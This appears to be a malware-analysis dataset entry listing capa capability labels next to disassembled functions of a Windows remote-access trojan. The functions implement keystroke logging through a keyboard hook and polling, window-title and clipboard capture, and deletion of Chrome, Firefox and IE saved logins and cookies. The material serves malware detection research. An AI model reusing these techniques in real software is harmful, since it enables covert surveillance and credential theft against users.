joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a0a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b761
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a0f1
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041b6f3
mov ecx, esi
call fcn.0040afd9
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x464f94
call fcn.00402093
call fcn.0041af84
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a1a4
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a137
push ebx
push ebx
push esi
push 0x40a18e
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a1b0
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a154
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x474140
push eax
call fcn.0040b761
cmp byte [0x474121], 0
jne 0x40a182
xor eax, eax
push eax
push eax
push 0x4740d8
push 0x40a19a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a1df
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x471b24], esi
cmp dword [esi], edi
jne 0x40a25a
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40a1cb
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a25a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041b623
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x464ef8
call fcn.00402093
call fcn.0041af84
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a288
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a286
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a25a
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a307
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.004368a0
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040417e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a4ea
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x474188]
or eax, dword [0x47418c]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a597
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x474140
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a56b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x47418c]
jb 0x40a562
ja 0x40a547
cmp eax, dword [0x474188]
jb 0x40a562
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a557
mov ecx, esi
call fcn.0040af51
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a56e
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a505
cmp byte [esi + 0x49], bl
jne 0x40a597
cmp dword [0x474124], 1
jne 0x40a597
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.00408f83
mov ecx, esi
call fcn.0040a0a0
pop edi
pop esi
pop ebx
ret
Function at 0x40a59b
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.0040a4ea
mov edx, 0x46b928
mov ecx, ebp
call fcn.004076de
test al, al
je 0x40a7a2
mov ecx, 0x474158
call fcn.00406a4f
test al, al
jne 0x40a5f7
push 0
mov ecx, 0x474158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x40a61f
push 0x80
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x4740cc
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a663
push 1
mov ecx, edi
call fcn.00401f04
push eax
mov ecx, ebp
call fcn.0040247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041be86
pop ecx
pop ecx
jmp 0x40a76e
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x474320
call fcn.0040247c
push eax
mov ecx, 0x474320
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406bde
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a6fa
lea ecx, [esp + 0x28]
call fcn.004020df
mov ecx, edi
call fcn.00401f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041bf1a
test al, al
je 0x40a6f1
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406cff
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov ecx, ebp
call fcn.0040247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406cff
mov ecx, edi
call fcn.00401f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041bf87
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x46b928
mov ecx, ebp
call fcn.00408f7e
push 0x13
mov ecx, 0x4740cc
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40a7a2
push 6
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a5b0
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ab4b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40ab69
cmp byte [edi + 0x4a], 0
je 0x40ad5a
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x475cc8]
cmp eax, dword [ecx + 4]
jle 0x40abb3
push 0x475cc8
call fcn.00433e04
cmp dword [0x475cc8], 0xffffffff
pop ecx
jne 0x40abb3
mov ecx, 0x475ccc
call fcn.00401f86
push 0x4579f0
call fcn.0043418e
mov dword [esp], 0x475cc8
call fcn.00433dc5
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b779
test esi, esi
je 0x40ac88
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x475ccc
lea ecx, [esp + 0x20]
call fcn.0040b841
test al, al
jne 0x40ac88
lea eax, [esp + 0x20]
mov ecx, 0x475ccc
push eax
call fcn.0040b761
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00408f6b
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x474123], 0
je 0x40ac57
mov ecx, esp
push eax
call fcn.00408f83
mov ecx, edi
call fcn.0040afd9
jmp 0x40ac88
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4656d4
push eax
mov edx, 0x4656dc
call fcn.0040b7f1
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
mov ecx, edi
call fcn.0040a4ab
lea ecx, [esp + 0x38]
call fcn.00401f09
mov ecx, edi
call fcn.0040b5bd
call fcn.0041b57b
mov esi, 0xea60
cmp eax, esi
jb 0x40ad43
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40acb5
cmp byte [edi + 0x4a], 0
je 0x40ad51
call fcn.0041b57b
cmp eax, esi
jb 0x40acd1
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40aca5
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00441861
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041b6f3
mov ecx, edi
call fcn.0040a4ab
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ab59
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ad63
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40adfd
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041b6f3
mov ecx, esi
call fcn.0040afd9
lea ecx, [ebp - 0x18]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x464f94
call fcn.00402093
call fcn.0041af84
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40adf1
cmp dword [esi], ebx
jne 0x40ade5
push ebx
push ebx
push esi
push 0x40a18e
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a1b0
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a1bc
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b583
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40b5a7
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40b5a7
push esi
jmp 0x40b5ac
push 0x46b928
mov ecx, dword [esp + 0xc]
call fcn.0040417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40b721
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x40a1a4
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x40b750
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40a18e
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040b6de

Function at 0x40b887
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x46599c
call fcn.0043ba9a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b8ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b8e2
sub eax, 1
je 0x40b8e2
xor bl, bl
jmp 0x40b907
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40b8f8
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402093
call fcn.0040c04d
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b916
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x46599c
call fcn.0043ba9a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b97d
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b971
sub eax, 1
je 0x40b971
xor bl, bl
jmp 0x40b996
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40b987
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402093
call fcn.0040c04d
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b9a5
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x46599c
call fcn.0043ba9a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x46595c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406b45
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bb59
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c04d
add esp, 0x18
jmp 0x40bb8d
test byte [ebp - 0x1d0], 0x10
je 0x40bb59
lea eax, [ebp - 0x1a4]
push 0x465abc
push eax
call fcn.0043f6e0
pop ecx
pop ecx
test eax, eax
je 0x40bb59
lea eax, [ebp - 0x1a4]
push 0x465ac0
push eax
call fcn.0043f6e0
pop ecx
pop ecx
test eax, eax
je 0x40bb59
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406b45
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406b45
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bb40
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bb59
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ba60
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c04d
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bbac
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x46599c
call fcn.0043ba9a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x46595c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406b45
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bcf6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c04d
add esp, 0x18
jmp 0x40bd2a
test byte [ebp - 0x1b8], 0x10
je 0x40bcf6
lea eax, [ebp - 0x18c]
push 0x465abc
push eax
call fcn.0043f6e0
pop ecx
pop ecx
test eax, eax
je 0x40bcf6
lea eax, [ebp - 0x18c]
push 0x465ac0
push eax
call fcn.0043f6e0
pop ecx
pop ecx
test eax, eax
je 0x40bcf6
lea eax, [ebp - 0x18c]
push 0x465b24
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406b45
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bd4f
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40bd44
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bc60
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c04d
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40bd2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bc4e
Function at 0x40bd5e
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.00413154
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x465094
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bdcb
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c04d
mov bl, 1
jmp 0x40be6e
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bdb0
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041b6f3
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041bd26
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40be44
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40bdba
push ebx
push 0x465bd8
mov ecx, 0x4749e8
call fcn.00406a08
test eax, eax
je 0x40be71
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c04d
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40bfd7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x471b19], cl
push edi
mov dword [0x471b28], eax
test cl, cl
je 0x40c034
mov edi, 0x465c30
mov dword [ebp - 4], esi
mov ebx, 0x4742d8
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.004130ad
pop ecx
test al, al
je 0x40c034
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.004130f7
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c034
xor al, al
jmp 0x40c046
push esi
push esi
push esi
push 0x40be81
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c1c2
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043ba8f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00408f79
lea eax, [ebp - 0x2e0]
push eax
push 0x4655d0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00409082
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c236
push 0x46b928
mov ecx, esi
call fcn.0040417e
jmp 0x40c30c
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c2db
test byte [ebp - 0x2e0], 0x10
je 0x40c2db
lea eax, [ebp - 0x2b4]
push 0x465510
push eax
call fcn.0043f32f
pop ecx
pop ecx
test eax, eax
je 0x40c2db
lea eax, [ebp - 0x2b4]
push 0x4655f4
push eax
call fcn.0043f32f
pop ecx
pop ecx
test eax, eax
je 0x40c2db
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00409082
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c31c
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40c243
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x46b928
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c304